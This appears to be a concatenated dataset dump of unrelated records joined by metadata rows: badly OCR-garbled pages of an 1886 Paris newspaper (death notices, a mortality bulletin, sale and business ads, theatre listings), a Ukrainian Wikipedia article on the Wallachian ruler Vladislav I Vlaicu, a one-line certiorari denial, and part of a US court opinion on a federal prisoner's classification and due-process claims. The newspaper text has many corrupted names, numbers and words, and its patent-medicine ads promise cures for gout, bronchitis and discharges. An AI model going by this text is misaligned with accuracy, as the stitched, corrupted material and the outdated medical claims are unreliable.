ans, rue St-Paul, 17. 5 M. Cochonet, 79 ans, rue Hôtel-Colbert, 90. » M. Auvray, 74 ans, rue Gay-Lussac, 35. 6 M. Bery, 68 ans, rue des Poitevins, lh. » Mme Pruvost (v'), 81 ans, r. de Rennes, 105. » M. Le Grand, 71 ans, r. Madame, hd. » Mme Devin, 72 ans, r. de Sèvres, 79. 7 Mme Richard (v'), 62 ans, rueFahert, 38. » M. Lubin, 37 ans, avenue Bosquet, 96. 8 Mme Morton-Chabrillan (vc), 64 ans, rue de Lisbonne, 90. » Mlle de la Piedra, 37 ans, r. de Turin, 2Ji.. » M. Laboric, 51 ans, rue de Berne, 93. v M. Jourdan, GI ans, r. Lamennais, 3. 9 Mme Tiret-Bognet, 6J, ans, r. Bruxelles, 23. 10 Mme Desaga, 69 ans, rue Sainte-Marthe, 3". » Mme Quinquet (veuve),68 niis,r. des Marais,33. » Mme Lavandero, l17 ans, rue Entrepôt, 22. » M. Menaut, 56 ans, fg St-Martin, 226. 11 Mme Arnedelas (veuve), 77 ans, rue Richard-Lcnoir, 55. » M. Togni, bi ans, rue Popincourt, 5. » Mme Vathonne, lh ans, imp. l'Orillon, 5. l'a M. Hildprand, 10 ans, r. Lacuée, 1. » M. Lagrange, 67 ans, r. Libert, 36. 13 M. Compain, 52 ans, rue Esquirol, 47. » M. Gautier, 55 ans, r. du Banquier, 37. M M. Chemin, 59 aos, b. de FHôpitaJ, 11.0. 11. Mme Morelle (veuve), 98 ans, r.des Plantes, 6. , » Mlle Dubois, 17 ans, rue Daguerre, A9. M Mlle Azcmar, 79 ans, r. de Vanves, 98. 16 M. Poulet, 6A ans, rue Longchamp, 30. » Mme Fournial (veuve), 85 ans, rue de l'Annonciation, 30. 17 Mme @llueliii de Beaumont (veuve), 67 ans, rue Toricelli, 1. M. Guérard, 50 ans, av. de Wagram, 13. » Mme de l'Arbre, 58 ans, b. Pereire, 271. 18 Mme Varin, J;4 ans, b. de Clichy, 16. » Mme Laloge, 71 ans, r. Rochechouart, AA. » Mlle Lesage, 18 ans, rue Hermel prolongée, 5. » Mme de Vaère,:' 5 ans, rue d'Orsel, 10. 19 M. Schwab, A5 ans, rue Compans, A. ':l0 Mme Besombes, A0 ans, rue Ménilmontant,3A. ■» Mme Roger, 47 ans, rue des Haies, 81. » Mme Devallois (veuve), 53 ans, rue des Partants, 151. Bulletin de la Mortalité Du 0,4 au 30 janvier 1886 Décès tlALADIR3 de 1.% précédente Fièvre typhoïde. ij, 12 Variole 5 6 Rougeole 15 33 Scarlatine 6 A Coqueluche... 10 8 Diphtérie, croup 39 Choléra.......... » 2t Dysenterie.. „ 1 Erysipèle 7 h Infections puerpérales.10 A Autres affect. épidémiquos. » » Méningite 35 3; Phtisie pulmonaira........ 20A 195 Autres tuberculoses 27 S9 Autres affections générales. 68 70 Malformations et débilités des âges extrêmes 72 66 Bronchite aiguë * A0 r A2 Pneumonie.. 131 Athrepsie des enfants k3 60 Maladies locales 399 Morts violentes 33 Causas inconnuaa,......... ig 19 Total da3 décès.... J 1173 1176 , VENTES A L'ENCHERE — ADJUDICATIONS : Benoist, avoué à Paris, avenue de l'Opéra, A; 2°M'Goirand, avoué à Paris, place Vendôme, 16. VENTE au Palais de Justice, à Paris, le samedi 99 février 18 86, a deux heures 'UN Tl?ll£> & Ill'avec constructions légères Il Lll I frit la ¡ à PARIS, rue d'Auteuil, 75 (16, arrondissement). Conten. 858 mèt. environ. Mise à prix A0,000 fr. S'adresser pour renseignements à : 1° M" Benoist, Goirand et Collet, avoués; 9" M. Guiet, administrateur judiciaire à Paris, square des Batignolles, 18; 3° Au greffe et sur les lieux pour visiter. « Etude de MeNICQUEvERT,avoué, ruo de Rivoli,118 VENTE le 17 février 1885, deux heures, au Palais MAISON A BAGNOLET (SEINE) rue de Vincennes, 96. Mise à prix 1,500 fr. S'adresser pour les renseignements : A MI Nicquevert et Bureau, avoués. « ACHATS ET VENTES DE FONDS DE COMMERCE FABRIQUE DE REGISTRES Belle usine, habitat. confortable; grand jardin, voiturede maître. Aff.300,009 fr., à 25 0/0 nets. On trait. av. 100,0C0.Dupalet-Berger,lA,r.Coquillière.<« COMESTIBLES SPÉCIALITÉ -Maison de 1er ordre; affaires 600,000 fr.; bén. nets 60,000f.par an.Prix 70,OOOf. Facil i tés. Le cédant est millionnaire. Dupalet-Berger, lJ't, r. Coquillière." LIBRAIRIE ET PUBLICATIONS DIVERSES L'OPINION PUBLIQUE JOURNAL POT,ITIQUE, FINANCIER, LITTÉRAIRE rue Montmartre, 1A6, Paris A&osasietaaeEit unique, : UilJ AF¥, 8 ffr. Toute personne qui enverra en mandat ou timbres poste le montant de l'abonnement (soit S francs), recevra. en PIUIIE, par retour du courrier, 2 volumes, Romans du jour, Voyages, etc., à choisir, d'une valeur réelle de Ç francs, rendu franco, ce qui fait ressortir l'abonnement au prix exceptionnel de centimes par an. M11 1 Revue financière sérieuse,tirages An fi 7A!) H TOI fi et lots, rcnseig" confidentiels sur il'iliUill rfXdt IÏV0Mt" valeurs3 FR. PAR AN. Val&iyU* Ml Place de la Bourse, Paris. LOCATIONS h ï flUFR5"»^» quai de Billy, tr. b. appart' exposés a t1 au Midi.Vue splendide. 3,OUO fr.à6,500 fr. 4 E AïlFIi38' av. Malakoff, beaux app. fraÎch. A iillUlylldécorés. 1,000 à 2,200 fr. Eau et gaz. INDUSTRIE ET COMMERCE GOUTTE O GRAVEUE <> RHUMATISMES Guérison assiti-éepar la POUDRE SA/NT-A UBIR I l'ASPARAGINE (Extrait DE POINTES D'ASPERGES) j 4 fr. la boîte f". M. SAINT-AUBIN, Ph"'-Chiauste à RÉnfr [texte illisible] Celle Huile vierge, non épurée, ne ressemble pas à la plupart des biles dites de Foie de Morue i^Tff¥¥W^DE FOIE FBAiSB"HTTA^rsH^r8 l a 1 M 7I de DRUE de Bjj Conlre REaladles de Poitrine, Bronchites, SUMunes, Toux opiniâtres, et pour fortifier les j Enfants chétifs et délicats; donne de l'embonpoint; ni odeur, ni saveur désagréables. ] HOGG, Ph"', 2, Rue Castiglione, PARIS. Envoi franco contre mandat. 0* Flacon 8 fr.; 1/2 J!"I. 4. fr. OCCASION A VENDRE JOli.. COUPÉ neuf, nouyeail modèle, 1'. marque, à un prix très avantageux. 6, avenue Matignon. «A VENDRE, ensemble ou séparément, deut: CHEVAUX de 6 ans, formant un attelage très élégant. 7Jj, rue Saint-Lazare. GUE#tusLE'S IIEMIESneu?" paie après 1 ésultat.35 an"de pratique et de succès. , Fabre, bandagiste-herniaire (B.s.c..D.c..),passagq de F Opéra, 30 (Boulevard des Italiens), à Pari?* THÉ BLAIZE PÈRE Ce thé purgatif, connu depuis plus de 60 ans, et dont la réputation n'est plus à faire, a rendu da signalés services comme purgatif et dépuratif; il ne produit pas de coliques et peut être pris sans rien changer à ses occupations habituelles; soi* goût agréable le fait accepter par les personnes les plus difficiles. Approuvé par un Comité mqr. dical de Paris et nombreux médecins. Dépôt général : rue Méolan, A A, à Marseille^ a Paris, 19, rue Vicille-du-Temple et toutes phàr* macies. — Prix : 1 fr. S5 la boite. • ' , ^ REMÈDE D'ABYSSINIÊ . il Exibard, Pb., Paris, Dépôt toutes PharmarÀao. -infaillIble à Ç 7*1/Aï r Boîte à 3 f. 4 5 fj Oppregsloi, O / il lit L Toux, Bronchitel 20 Cigarettes d'A byuinie en étui, 1 fr. frèsctllcace. nfi Dans cette Poudre, composée avec le plu. grand soin et délicieusement parfumée, se trouvent reunies les qualités du charbon pur, bien connu comme absorbant et. purifiant, et les qualités hygiéi niques de diverses substances odontalgiques ou toniques, telles que QUINQUINA, GAÏAC, RATANJUA, etc.. Elle est merveilleusement appropriée à l'entretien de la bouche et à l'affermissement des gencives. Elle n'altère point l'émail des Dents et les conserve parfaitement blanches; son usage préviendra souvent les Maux de Dents. Elle apporte aux gencive^ malades un soulagement considérable. LA Boite, 60 cent. chez tous le s Débitants de Parfumerie 1 ( P^STILXJES DIGESTIVES Fabriquées à Vichy, avec les Sels extraits des Eaux. Biles sont d'un Goût agréable et sont prescrites contre les aigreurs et les Digestions difficiles. BOITES Dit 1, 2 et 5 FR. SELS DE VICHY POUR BAINS LE Rouleau POUR Un BAIN, 1 fr. 26 SUCRE D'ORGE DE VICHY Exchllunt BONBON Dicibstif. Boites DB 1, 2 ET 8 PB. A Paris, 8, boul. Montmartre; 28, r. des Francs-Bourgeois, et 187,r. St-Honorû,o<i se trouvent à prix réduits toutes les eaux minérales naturelles sans exception. I — ^ "'■Ç: 'J VÉRITABLE S AU DE BOTOT Seul Dentifrice approuvé par ACADÉMIE DE MÉDECINE DE PARIS POUDRE DE BOTOT DENTIFRICE AU QUINQUINA B EHTBEPOT: S'.î.'i J? /?/&&=& I . St_Hot Honoré;ee> II PARIS €7 Dépôt : 18, B«r* des Italiens. ■ ■■■'■ ». m mu1.» , ,fj ) SANTAJLDEMIDY I | Supprime Copahu, CM&&&<; et I | Injections. Guérit en 48 heures ■ | les écoulements. Très efficace ■ t dans les maladies de la vessie, K i il reud claires les urines les plus ■ t roubles.Pbi. MIDY, 113, Fu SI Le Gérant responsable : BAUDOUIr-l P' 1 GRANDE IMPRIMERIE 9: rue du Croissant, 19, Paris.-J. CUSSET impp J LES ANNONCES ÉCONOMIQUES PRIX DE LA LIGNE : 50 CENTIMES Ce Feuilleton d'Annonces spéciales a été créé dans la Liberté pour vulgariser la publicité de certains arif an public, tels que les Ventes à l'amiable et Locations d'immeubles, les Commandites et Fonds de commerce, Ventes et Achats de chevaux, voitures, etc., les Demandes et Offres d'emplois, les Objets perdus, etc., etc. Envoyer, par lettre affranchie, son Annonce, avec le montant en timbres-poste, à raison de 95 lettres par ligne. Un Agent spécial se tient à la disposition du public, de 10 heures à h heures, pour le renseigner sur tout 08 qui se rattache au service des ANNONCES ECONOMIQUES de la Liberté. . avis aux Propriétaires MM. les Propriétaires d'immeubles peuvent®'*» ireeser, pour la Location de leurs Appartementsoii Ja Ven te de leurs Propriétés, à l'Agent spécial des Annonces éeODOuniques de la Liberté, S'ue Montmartre,lho. LOCATIONS D'IMMEUBLES On désire louer dans le 2* arr. un appartement de 5 pièces, cuisine et antichambre: Prix off. 1,500 fr. Ecrire à M. Thévenin, Ii, rue de la Victoire, à Paris. I Petit bureau demandé (entre r. Croissant,boAiv. et Bourse). Offres av.prix C. H.,p.r.Bours', ASNlÈRBS. A louer ou à vendre, meublée ou non, jolie propriété, 3 minutes de gare. S'adresser pour visiter à M"* Denizoî, 12, rue Bécon. Chambrede garron, meub.conf. 50 fr.p. m:,t.recom. i8/f.Du-erré,N.Pepin. COMMANDITES Poui mett^éen société" Grands R':';i.aurants à bon marché t ^Uafonctionne déjà), on demande commanditaire qui ait direct. ! fr^sé. A. 7îr>.ï'.,pl.Répiibiiclue. FONDS DE COMMERCE A céder une bonne Papeterie. Affaire sûre et de bon rapport. Beau logement. Quartier riche. S'adr. 3, r. de Phalsbourg. Parc Montceau. BRASSERIE. Quartier latin. L a meilleure posit.avec i, 00 0 1 r.Bénéf.gar. 8,000 fr.par an. Se j presser.Albert,b. St-Michel,30. Hôtel meublé, vins-liqueurs, à céder,cause de malad. 1,400 fr.deloyer ,i5a debail.Prh3,000 fr. Affaire à enlever. Comptoir général d'affaires, H,rue d'Am-i sterdam, Paris. VENTES ET ACHATS L CE CHEVAUX & VOITURES i ETC. VAGHES BRETONNES etd'AYR à vendre les 15,16 et 17 février cou ran t, a Paris, avenue du Maine, 60, par Jules Gy, éleveur à Car-nac (Morbihan), qui achète et expédie pour tous pays, ainsi que des bœufs pour engraisser. BEL et ATTELAGE. Bai brun, 7 et 6 ans, à céder ensemble ou séparément. S'adresser à Joseph, rue Saint-Lazare. A vendre très JOLI COUPÉ neuf. S'adresser à Joseph, 7;, rue Saint-ja7ue, DEMANDES ET OFFRES D'EMPLOIS U fortune, désire place dame de compagnie.Prix modéré. Adresse rue St-Jacques, 141, L. A. Jne D AME.cout. ,très habile aux race., dem. 2 journ. en plus. S'adr. ou écr. à M-1 A., 8, rue Coëtlogon. Valet ch.ou valet pied, 24 ans. Exeell. réf.Paris ou étranger. Ecr. L. 0. 7, rue Surcouf. Emplois, Professeurs, Institutrices, Précepteurs, dames de compagnie,pour Paris, la province et l'étran -,er. 40* année. Fayes Le Breton, 7, rue de l'Odéon» Ménage sans enfants, le mari cocher, valet de chambre, la femme cuisinière. Bonnes références. Ecr. B. J.,9,r.CasteUane. mAréchal-des-Iogis de gen., U instruit, médaillé, retraité, marié, demande une place de surveillant, garde, régisseur ou garcon de recette. Ecrire à M. Gué-;in,lieut.àla garde répubfiça'me, caserne Tournon. CONCIERGS, 14 ans même maison, marié, sans enfant, 45 ans demande place de concierge. Excellentes références. S adr. C. f., 2, rue d'Uzhs. On demande une jeune fine au courant du commerce. Modes ! et Lingerie. 29,r.de ik!lectasse. ïtd jeune ménage sans enfant, U ayant servi dans de bonnes maisons et muni d'excellents certificats, désirerait être employé comme concierges. Mma Rousseau, 39, rue St-(j eorges. COURS ET LEÇONS A tLLEMAND.Bacc Leç.pat t. B. ref.Gr. succ. Dûrig/ prof.,rue MoDge, 15. LIBRAIRIE Dictionnaire DE l'ttri? à ,vendre,. 5 volumes relié», tout neuf. T&lant H6 fr.,à céder à 110 francs. S'adresser ou écrire à M, La-fon, 14C, rue Montmartre. FAITS JIVEfiS ¥|n ménage aisé, sans enf. en qu prendrait un en psnsion au-dessus de S ans. MEmérance, . rest., rue M mlaign c. CANAPÉ et FAUTEUIL presque neufs,à rendre à de bonnes conditions. S'adresser à M. Lebreton, 13, rue tamile. umeAntonia, lIIpar Avenir certain par les cartes et les ligues de ; la main, i3i, rue Montmartre, v au 30. Prix modéTes. , SPECTACLES DU 4 FÉVRIER 1886 CPÉRA 7 3/4 RELACHE DEMAIN VENDREDI LE C1D opéra 4 a. 101. d Ennery,Gallet,Blau musique de Jules Massenet Rodrigue J. do Keszké Don Dièguo Ed. de Reszké Le roi Balleroy Don Gormas Hourein Saint Jacques Lambert I, Envoyé maure Fabre Don Arias Girard Don Alonzo Sentein Chimène mcsd Fidès-Devriès L'infante liosiuan SAB.S nE I/OPÊRA Samedi 6 février PREMIER BAL TMASQUÉ CCKÉDiE-FRAHCAISE — 3 °/<> SOCRATE ET SA FEMME comédie en 2 actes. Th. de Banville Socrate Goqualin Antisthênes. Joli-et Eupolis Façonnier i Dracès Hamel Il Praxias Gravollet Xantippe mesd J. Samary Myrrhine Tholer Meiita Martin Bachie Persoons l,N T. PARISIEN comédie en 3 actes, en prose Edmond Gondinet Brinchânteau Coquelin Savourette Ti1iron Gontran Coquelin cadet Pontaubert Garraud Frédéric Boucher (jreQevjeye mesd Reichemberg Léonide Muller Embelline Kalb Mme Pontaubert Montaland |i ' — ;—: — : OPÉRA-COMIQUE 8 9/0 LE NOUVEAU SEIGNEUR op. t %.,Creuzéde Lesser,Favières musique de Baïe!dieu LE MARI D'UN JOUR op.-c. 3 a., d'Ennery, Sylvestre musique d'Arthur Coquard De la Rocheferté Degenne De la Tourette Fngère Comte de la Tourete Isnardon Mme Bernard mesdPierron Armande Simonnet Claire Degrandi Marthe Perret ODÈON — 8 e/0 LE DÉPIT AMOUREUX e. 2 a., Molière UN FILS DE FAMILLE comédie 3 a., Bayard, de Biéville Colonel Desbayes Lafontaine Armand Dumény Frédéric R. Rameau Kirchet Colombey Canard Duard François Boudier Laridon Duparc Emme.'ine mesd L. Leblane Mme Laroche Crosnier Pompone R. Boyer Mariane Lvnnôs VAUDEVILLE 8 if) LE VOYAGE DE M. PERR!CHON com. 4 a., Labiche, Ed. Martin Perrichon Jo'iy Ma.orin Boisselot Comm Mathieu A. Michel Daniel Corbin Armand Garraud Mme Perrichon D. Grassot Henriette Vrignauit Une dame Duperré CyMHAS!: — 7 112 SAPHO pièce 5 a., A. Daudet, A. Belot Jean Gaussia Damala Césaire Raynard Déchelelte Landrol Caoudal Lagrange de Potter Duquesne Fanny LegjanduMsdJaM Hading Mme Hettéma Deselaazas Divonne Grivot Alite Doré Darlaud PCRTE-SAIMT-IARTIII 8 0/0 MARION DELORME drame en 5 actes es Ter*, V. flugo Didier Marais Louis lUI PL Garnier Marq. de Sayerof P. B<tton Marq. de Nangis Dumatne Langely Léon Noël M. de LafTemas Cosset M. de Bellegarde H. Luguet De Brichanteau Yolny Comte de Cassé Paul Renoy Comte de Yillac Angelo Marion Delorme S, Bernhardt Une dame P.-Boulanger VARIÉTÉS 8 0/0 LES DEMOISELLES CLOCHART com.-vaud. 3 a., Henry Meiihac ClocharL Dupuis Baladier Léonce Pluribus Baron Paul Lassoucha Hippolyte Numa 1 Gabriei'e mesd Réjane i Claquette — i la Comtesse Jane May Marietta n. Maurel Mme Simpson Chassaing PALAIS-ROYAL 8 0/0 LA BOULE comédie en 4 actes t Henri Meilhac et Ludovic Haléyy [ CMTELET. — 8 013 LA GUERRE dramo militaire, 5 actes, 9 taLL, dont 1 prol., Erckmaua-Chatriaa Ogiski Deshayes Jofcas Dailly Souvaroff Barbe Major Stahl Rosambeau Masséna Bouyer Jyanowitch Giron Hattonine mesd DUquéret Geneviève Desnayes Héléna Schmidt GAITÊ 7 fIl LE PETIT POUCET grande féerie nouvelle, 4 a. as L, E. Le errier, A. Mortier, Vaaloa L'ogre Bouf-B", ChrUtiaa * Truffentruffo R.dtef Petit Ppiicst petite DQhamel Pienot Scipioa Eolio leaàmn Vale&tin meÑ Mary-Albârt ^ IliMPifikla : SyhMH. a Eaphaâ w) AMBIGU 7 311 LE SONNEUR DE SAINT-PAUL drame en 5 actes, Bouchardy John le Sonneur Laray Albinus Brémont Henri Bedfort Walter Yorick Li vry lord Richmond Fleury lord Broghill Dueheme Clary mesd R. Gilbert Sara P. Moreau Marie M. Fortin ITRtQUE-DBâSATIOUE. — 8 0/0 NOTRE-DAME DE PARIS drame en 5 actes et 12 tableaux d'après le roman de Victor Hugo Claude Froilo Taillade Quasimodo Lacressonnièro Phœbus Bertai Gringoire Deroy Llopin Trouillefou Donato La Sachette mesd Marie Laurent La Esméralda Depoix Fleur-de-Lis Druau SaUH:rs-PA8rSIENS. — 8 i/4 LA BÉARNAISE opéra-comique 3 a.Leterrier, Vanloo musique d'André Messager CapitainePerpignac Yauthier Pomponio Maugé Girafo Gerpré le Due Murat or Grab&ssou Durieu Jacquette mesdJ. Granier Bianca Mily-Mejer Bettina Feljas IOUtlEItJTES8 o/o LES NOUVEAUTÉS DE PARIS j rovue 3 a. 8 t. Wolff, Blum, Toché rOUES-DRAMaTtOUES — 8 114 LA FAUVETTE DU TEMPLE op.-com. en S a., Burani, Humbert musique d'ADdré Messager Angénor Gobin Joseph Simon-Max Pierre Jourdan Ben Ahmed CLauvreaa Tr6court Riga Thérèse Simoa-<}aard Zelie Vialda AU SaTary I«au Bkk» ' -1 il if " & M aEMtSSMCE CREYAMER BAPTISTE -F* 4m t a,, BillfD et Sjlraçfl ^ UNE MISSION DSLICATE J c( m. 3 a., Aîeiandre Bisson Labarèdo Saint-Germain Pessonnois Delannoy Picardon Vois César Galipaul Delphine mesd Dunoyei-Cécile Boulanger Nanette J. Gorius MESUS-PLNSiRS. 8 0/0 PÊLE-MÊLE-GAZETTE revue en 4 a. et 7 tableaux Blondeau, Monréal et Grisier ÉOEK-THÉATRS 8 0/0 UN THEATRE AU JAPON LE FOYER DE LA DANSE divertiss.-pantômime i a , Agoust musique de Mariotti SPERANZA I ballet en 4 a. et 12 tabl., Danesi ! musique de M. !. % iuiEHMtmm 1 ALCAZAR (Faubourg Poissonnière ' Spectacle varié. — Mlle Thérésa.' SOIRÉES Q. METRa. 49, r. Vi/iaaM. Tous les soirs, Concertât Bal. Mercredis et samedis. Fêta da 'Itiit CASINO DU HIGH-LIFE, 47 rus 13r J Echiquier. —Tous tes soirs, ba! de nuit de 10 h. à 4 h. du matin. ~~ 010RAM1 1 (CHAHPS-ÉL 1'SBBI) PARIS A TRAYERS LES AGEï CIRQUE-D'HIVER. 8 013 Les Royal Midgets. — Lq ventriloque O'Kill et ses poupées. — LA CUISINE DU DIABLE pantomime — ! ■«--HIPPODROME. — Clôture annuéuek! Réouverture au Printemps. — — / CIROUE FERNANDO. 8 fil J | Tous les soir9, Spectacle ramy JARDIN BULLIER. Sam.db, dHf mancho. ot jours fériés, soirée dansant6 Jeudi" grande (ÕLS. ) MUSÉE GRÉVII — Ouvert towLeÍ jours de i h. à il h. du soir. Dimanches et fêtes, de il battrait dû matin à Il heures du soir. PAHORRMâ DE NEUVILLE-DETAILLR rue de Berri, 5. de to h. du malia à U h. da PANORAMA DE £ONSTART!lO;»L& (Champs-Elysées, cOtdgaacba) BCBERT-HOUOttt-Si/t -LslIra-fesse ur Dicksonn. Prestidigitatitt t CONFÉRENCES. b. dea Caputia». SPECTACLES DE DEMAIN Opéra. — Le Cidi Français. — L'Atenturièrc. LM Ouvriers. ; Opéra-Cemâquq, >** ZampatK. | 19,394 |
https://uk.wikipedia.org/wiki/%D0%92%D0%BB%D0%B0%D0%B4%D0%B8%D1%81%D0%BB%D0%B0%D0%B2%20I%20%D0%92%D0%BB%D0%B0%D0%B9%D0%BA%D1%83 | Wikipedia | Open Web | CC-By-SA | 2,023 | Владислав I Влайку | https://uk.wikipedia.org/w/index.php?title=Владислав I Влайку&action=history | Ukrainian | Spoken | 202 | 624 | Владислав I Влайку () (близько 1325 — бл. 1377) — правитель (воэвода) Волощини з династії Басарабів, (1364 — бл. 1377), старший син і наступник волоського воєводи Ніколає Александру.
Життєпис
У 1364 році після смерті свого батька, Ніколає Александру, Владислав Влайку успадкував волоський трон. Він був васалом болгарського царя Івана Олександра. У правління Владислава I відносини з Угорським королівством залишалися вкрай напруженими. Угорський король Лайош I Великий в 1365 році захопив Видин, столицю Видинського царства, а в 1370 році зайняв королівський престол у Польському королівстві. У 1366 році волоський воєвода Владислав I змушений був підписати перемир'я з Угорщиною і визнати себе васалом Лайоша Великого. Натомість угорський король закріпив за воєводою Волощини володіння Северином, Амлашем і Фегерашом. У 1368 році угорські війська вторглися в Волощину, але були розбиті волоським прикордонним воєначальником Драгомиром. У 1369 в Валахію вперше вторглися загони турків-османів. У 1371 союзну македонсько-волоське військо було розгромлене турками у битві на річці Маріца. В 1375 році угорці відібрали у Владислава Банат Северін. У 1377 р. під натиском боярської опозиції Владислав I Влайку змушений був відмовитися від трону на користь свого молодшого брата Раду I.
Примітки
Джерела
Constantinescu, N., Vladislav I 1364—1377, Editura Militară, București, 1979.
Волоські правителі
Померли 1377
Басараби
Монархи, які зреклися престолу | 26,535 |
6290477_1 | Caselaw Access Project | Open Government | Public Domain | 1,989 | None | None | English | Spoken | 6 | 16 | C. A. 6th Cir. Cer-tiorari denied..
| 49,959 |
2396059_2 | Court Listener | Open Government | Public Domain | 2,013 | None | None | Unknown | Unknown | 6,556 | 9,510 | 1. Fifth Amendment Claims
Plaintiff claims that defendants' treatment of her has violated her Fifth Amendment rights to due process and equal protection. Since defendants' designation decisions regarding Rosenberg as well as *1468 their treatment of her during her incarceration at MCC-NY are not being considered by this Court (for the reasons stated in Part III of this opinion, supra), the conduct that is actually being challenged in this litigation is defendants' classification of Rosenberg as a security level # 4 prisoner with a "maximum" custody rating.[25] Thus refined, plaintiff's various constitutional claims are confronted with a seemingly insurmountable obstacle, viz., the disinclination of federal courts to interfere with a classification decision by prison officials. See, e.g., Smith v. Coughlin, 748 F.2d 783, 787 (2d Cir.1984) (prison administrators making classifications need only show a rational basis for those decisions); Hoptowit v. Ray, 682 F.2d 1237, 1256 (9th Cir.1982) (misclassification of prisoners does not violate Eighth Amendment); Solomon v. Benson, 563 F.2d 339, 343 (7th Cir.1977) (federal prisoner has no pre-classification right to procedural due process, notwithstanding that classification often "adversely affects an inmate's eligibility for transfers, furloughs and minimum security programs.").
(a) Due Process
In Pugliese v. Nelson, 617 F.2d 916 (2d Cir.1980), the Second Circuit directly considered the question of whether a federal prisoner was entitled to procedural due process prior to being classified by the BOP as a "Central Monitoring Case" ("CMC"). Id. at 918. Initially, the Court noted that CMC classification could hinder or preclude a prisoner from obtaining various benefits such as furloughs, work releases, or preferred transfersthat were more readily available to prisoners who had not been so classified. See id. Yet, while the Court acknowledged the "substantial" effect of CMC classification, see id. at 919, it also found that "[u]nder Title 18 U.S.C. §§ 4081 and 4082 the Attorney General has complete and absolute discretion with respect to the incarceration, classification and segregation of lawfully convicted prisoners." Id. at 923; accord, Moody v. Daggett, 429 U.S. 78, 88 n. 9, 97 S. Ct. 274, 279 n. 9, 50 L. Ed. 2d 236 (1976).[26] Accordingly, the Court determined that "a prisoner's mere expectation of benefits associated with non-CMC status does not amount to a statutory or constitutional entitlement sufficient to trigger due process protections." Pugliese v. Nelson, 617 F.2d at 925; see Moody v. Daggett, 429 U.S. at 88 n. 9, 97 S. Ct. at 279 n. 9 (prisoner's interest in his classification and eligibility for rehabilitative programs is not sufficient to invoke due process).
The validity of Rosenberg's due process claim is also called into question by the Second Circuit's recent decision in Sher v. Coughlin, 739 F.2d 77 (2d Cir.1984), which suggests that classification decisions based, at least in part, on "administrative, non-punitive reasons" do not impair a prisoner's protected liberty interests and remain within the unfettered discretion of prison officials. See id. at 81-82. In Sher, the Court affirmed a district court's dismissal of a § 1983 claim based on a prisoner's challenge to his transfer from the general population of the Auburn Correctional Facility to the Reclassification Unit of the Attica Correctional Facility. Id. at 78-79. At the outset, the Court held that plaintiff's transfer from one prison facility to another did not impair any liberty interest belonging to plaintiff. Id. at 80 (citing Montanye v. Haymes, 427 U.S. 236, 96 S. Ct. 2543, 49 L. Ed. 2d 466 (1976)). Next, the Court considered the narrower question of whether the decision of New York State prison officials to place plaintiff in restrictive confinement within a "reclassification unit" had violated plaintiff's right to due process. The Court found that, absent a substantive limitation created by state law, prison officials "retain unfettered discretion to assign [a prisoner] for non-punitive reasons." Id. at 82. Applying that principle *1469 to the facts in Sher (which revealed that prison officials might have had a "dual motivation" for placing plaintiff in Attica's reclassification unit), the Court found that where a prisoner's placement in restrictive confinement has both a punitive and an administrative, non-punitive basis, the placement decision will not be found to have impaired a protected liberty interest. Sher v. Coughlin, 739 F.2d at 81-82; cf. Mt. Healthy City School Dist. Bd. of Educ. v. Doyle, 429 U.S. 274, 285-87, 97 S. Ct. 568, 575-76, 50 L. Ed. 2d 471 (1977).
Applying Sher by analogy to the case at bar,[27] it is apparent that no protected liberty interest of plaintiff Rosenberg has been impaired by the BOP's classification of her as a security level # 4 prisoner with a "maximum" custody rating. The BOP clearly possessed a legitimate, non-punitive reason for such classifications. Rosenberg's security level properly reflected the seriousness of the weapons charges for which she had been convicted by the New Jersey District Court. As to Rosenberg's custody classification, it is manifestly justified by the BOP's internal regulations, which prescribe the "maximum" classification "for individuals who have by their behavior have identified themselves as assaultive, predacious, riotous, serious escape risks or seriously disruptive to the orderly running of the institution." Manual, § 3 at 1; see Finding of Fact ¶ 26. Notwithstanding the objections of plaintiff's counsel to the applicability of those standards to Susan Rosenberg, see Hearing Transcript at 89-93, the obvious fact remains that the plaintiff in this case has been convicted of serious weapons offenses (related to possession of large quantities of unregistered firearms and explosives) which could reasonably have led prison officials to characterize her as "assaultive." Furthermore, the fact that Rosenberg was a fugitive with regard to the Brinks indictment for two years leading up to her arrest in New Jersey in November, 1984 undoubtedly represents behavior that identifies Rosenberg as a "serious escape risk." See Hearing Transcript at 93.[28] Finally, while at MCC-NY, Rosenberg committed an institutional infraction that at least arguably established her to be "seriously disruptive to the orderly running of [an] institution." See Hearing Transcript at 91.
Thus, the record in this case clearly supports the conclusion that the BOP had an "administrative, non-punitive" justification for its security level and custody classifications of Susan Rosenberg, so that the BOP cannot be said to have violated Rosenberg's right to due process by means of that classification. See Sher v. Coughlin, 739 F.2d at 81. Even assuming that the facts in this case could conceivably be stretched so far as to yield the inference that the BOP had an improper "punitive" reason for its classification of Rosenberg, it does not necessarily follow that Rosenberg's due process rights have been violated. In this case, there is "no doubt that the [proper] administrative reasons relied on by the defendants would have caused them to [classify Rosenberg as they did], whether or not they also entertained thoughts of imposing some form of [improper] discipline." See id. at 82.
Plaintiff has set forth two additional variations on her general claim that the BOP's classification of Susan Rosenberg did not comport with due process. First, plaintiff argues that she was denied due process because the BOP acted outside its own internal guidelines in its decision to classify Rosenberg as a security-level ¶ b 4 prisoner with a "maximum" custody rating. I have already indicated, however, that the record suggests the contrary conclusion, that the BOP has classified Rosenberg in a manner *1470 consistent with the criteria set forth in the Manual. The only possible exception to that finding of rectitude is the inclusion of the listing "Detainer: Greatest" in the September 10, 1985 printout of Rosenberg's Security/Designation form. It is argued that such a listing was (and remains) inaccurate because the charges against Rosenberg arising out of the Brinks indictment are no longer pending, and that the continued inclusion of a "Detainer: Greatest" listing in plaintiff's records prejudices her by causing her security total to be 17 instead of 10, which in turn causes her security level to be # 4 instead of # 3. See Findings of Fact ¶¶ 18, 19.
On the one hand, it is possible that the "Detainer: Greatest" listing in the September 10 printout was inadvertent, resulting merely from the fact that, less than two weeks after the Brinks charges had been dropped against Rosenberg, the Bureau had not yet received official confirmation of that fact from the United States Attorney's Office. See Hearing Transcript at 53. On the other hand, it is entirely possible that the listing was accurate as of September 10, since the listing signifies not only pending charges, but also the existence of "a detainer ... for [a greatest severity] offense." Hearing Transcript at 52. Ironically, such a detainer actually does remain extant with regard to plaintiff, since, at plaintiff's own request, Judge Haight has twice postponed satisfaction of the government's writ of detainer, effectively preventing the BOP from moving plaintiff from MCC-NY to another prison facility. See Memorandum and Order, SSS82 Cr. 312 (CSH) (S.D.N.Y. September 12, 1985); Order, SSS82 Cr. 312 (CSH) (S.D.N.Y. September 26, 1985).[29]
